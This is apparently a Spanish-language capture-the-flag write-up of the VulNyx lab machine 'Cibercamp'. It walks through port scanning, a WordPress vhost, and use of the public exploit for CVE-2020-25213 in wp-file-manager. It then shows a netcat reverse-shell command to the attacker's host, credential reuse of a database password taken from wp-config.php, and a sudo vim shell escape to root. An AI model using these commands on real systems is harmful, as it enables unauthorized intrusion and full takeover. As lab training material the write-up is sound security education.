VulNyx - Cibercamp
Information
Synopsis
Cibercamp es una máquina Linux en la que se descubre un gestor de contenidos (CMS) WordPress con un plugin vulnerable al CVE-2020-25213, que permite la ejecución remota de comandos y facilita el acceso inicial al sistema. Para la escalada de privilegios, se aprovecha una configuración insegura de sudo que permite ejecutar un binario con permisos elevados, obteniendo finalmente acceso como usuario root.
Card

Enumeration
Nmap
TCP
root@kali:~ ❯ nmap -n -Pn -sS -p- --min-rate 5000 192.168.1.84
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-01 11:01 +0200
Nmap scan report for 192.168.1.84
Host is up (0.00045s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
root@kali:~ ❯ nmap -sVC -p22,80 192.168.1.84
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-01 11:02 +0200
Nmap scan report for 192.168.1.84
Host is up (0.00049s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a9:d0:ab:b6:b3:09:61:69:1d:74:66:09:fe:38:57:6e (ECDSA)
|_ 256 68:c7:60:f7:52:c6:2b:94:dc:e1:f7:47:b6:3b:9c:43 (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-generator: WordPress 5.4.19
|_http-title: cibercamp – La seguridad de tu empresa en las mejores ma...
Shell (www-data)
80/TCP (HTTP)
Stack
Tanto en el nmap inicial como al revisar las cabeceras HTTP (Headers), se observa la presencia de un CMS WordPress.
|_http-generator: WordPress 5.4.19
root@kali:~ ❯ curl -I "http://192.168.1.84/"
HTTP/1.1 200 OK
Date: Mon, 01 Jun 2026 09:08:45 GMT
Server: Apache/2.4.58 (Ubuntu)
Link: <http://iescamp.nyx/index.php/wp-json/>; rel="https://api.w.org/"
X-Developer-Note: Intranet local disponible en iescamp.local
Content-Type: text/html; charset=UTF-8
Site
La página no se renderiza correctamente debido a que intenta cargar las hojas de estilo desde el dominio iescamp.nyx.

VHOST Site (iescamp.nyx)
Agrego el dominio iescamp.nyx a mi archivo /etc/hosts y ahora la página se muestra correctamente.

WordPress
Plugins
Mediante la herramienta wpscan, detecto un plugin llamado wp-file-manager.
root@kali:~ ❯ wpscan --url "http://iescamp.nyx" --plugins-detection aggressive --no-banner --disable-tls-checks
[+] wp-file-manager
| Location: http://iescamp.nyx/wp-content/plugins/wp-file-manager/
| Last Updated: 2026-04-21T12:53:00.000Z
| Readme: http://iescamp.nyx/wp-content/plugins/wp-file-manager/readme.txt
| [!] The version is out of date, the latest version is 8.0.4
|
| Found By: Known Locations (Aggressive Detection)
| - http://iescamp.nyx/wp-content/plugins/wp-file-manager/, status: 200
|
| Version: 6.0 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://iescamp.nyx/wp-content/plugins/wp-file-manager/readme.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - http://iescamp.nyx/wp-content/plugins/wp-file-manager/readme.txt
CVE-2020-25213
Tras una búsqueda en internet, se identifica el siguiente exploit publicado en Exploit-DB relacionado con el plugin enumerado.

RCE
Consigo ejecutar comandos como el usuario www-data.
root@kali:~ ❯ wget -q --no-check-certificate "https://www.exploit-db.com/raw/51224"
root@kali:~ ❯ python3 51224 "http://iescamp.nyx/" id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Reverse Shell
A partir de aquí, intento establecer una reverse shell para obtener acceso interactivo al sistema.
root@kali:~ ❯ python3 51224 "http://iescamp.nyx/" "busybox nc 192.168.1.5 443 -e /bin/sh"
Obtengo la shell como usuario www-data.
root@kali:~ ❯ nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.5] from (UNKNOWN) [192.168.1.84] 34166
id ; hostname
uid=33(www-data) gid=33(www-data) groups=33(www-data)
cibercamp
Shell (wpuser)
Enumerate
Users
Enumero en el sistema un usuario interesante llamado wpuser.
www-data@cibercamp:/$ grep "sh$" /etc/passwd
root:x:0:0:root:/root:/bin/bash
administrador:x:1000:1000:administrador:/home/administrador:/bin/bash
wpuser:x:1001:1001:,,,:/home/wpuser:/bin/bash
Config Files
En el archivo wp-config.php encuentro las credenciales de conexión a MySQL.
www-data@cibercamp:/$ grep -iE "user|pass" /var/www/html/wordpress/wp-config.php | grep -v "*"
define( 'DB_USER', 'wpuser' );
define( 'DB_PASSWORD', 'passwordsuperseguroxx' );
Abuse
Credential Reuse
Me convierto en usuario wpuser mediante una reutilización de credenciales.
www-data@cibercamp:/$ su - wpuser
Password:
wpuser@cibercamp:~$ id ; hostname
uid=1001(wpuser) gid=1001(wpuser) groups=1001(wpuser),100(users)
cibercamp
Privilege Escalation
Enumeration
Sudo
Al verificar permisos sudo sobre el usuario actual, solicita un password.
wpuser@cibercamp:~$ sudo -l
[sudo] password for wpuser:
Al introducir el password obtenido posteriormente en el archivo (wp-config.php) obtengo éxito.
El usuario wpuser puede ejecutar como root el binario vim con sudo.
wpuser@cibercamp:~$ sudo -l
[sudo] password for wpuser:
Matching Defaults entries for wpuser on cibercamp:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User wpuser may run the following commands on cibercamp:
(ALL) /usr/bin/vim
Abuse
Binary (vim)
En GTFOBins nos dan la secuencia de shell-escape y me convierto en usuario root.
wpuser@cibercamp:~$ sudo -u root /usr/bin/vim -c ':!/bin/bash -i'
root@cibercamp:/home/wpuser# id ; hostname
uid=0(root) gid=0(root) groups=0(root)
cibercamp
Flags
Ya como usuario root puedo leer las flags user.txt y root.txt.
root@cibercamp:~# find / -name user.txt -o -name root.txt 2>/dev/null |xargs cat
bff*****************************
ebc*****************************
Hasta aquí la resolución de la máquina Cibercamp de VulNyx.
Happy Hacking! 🙂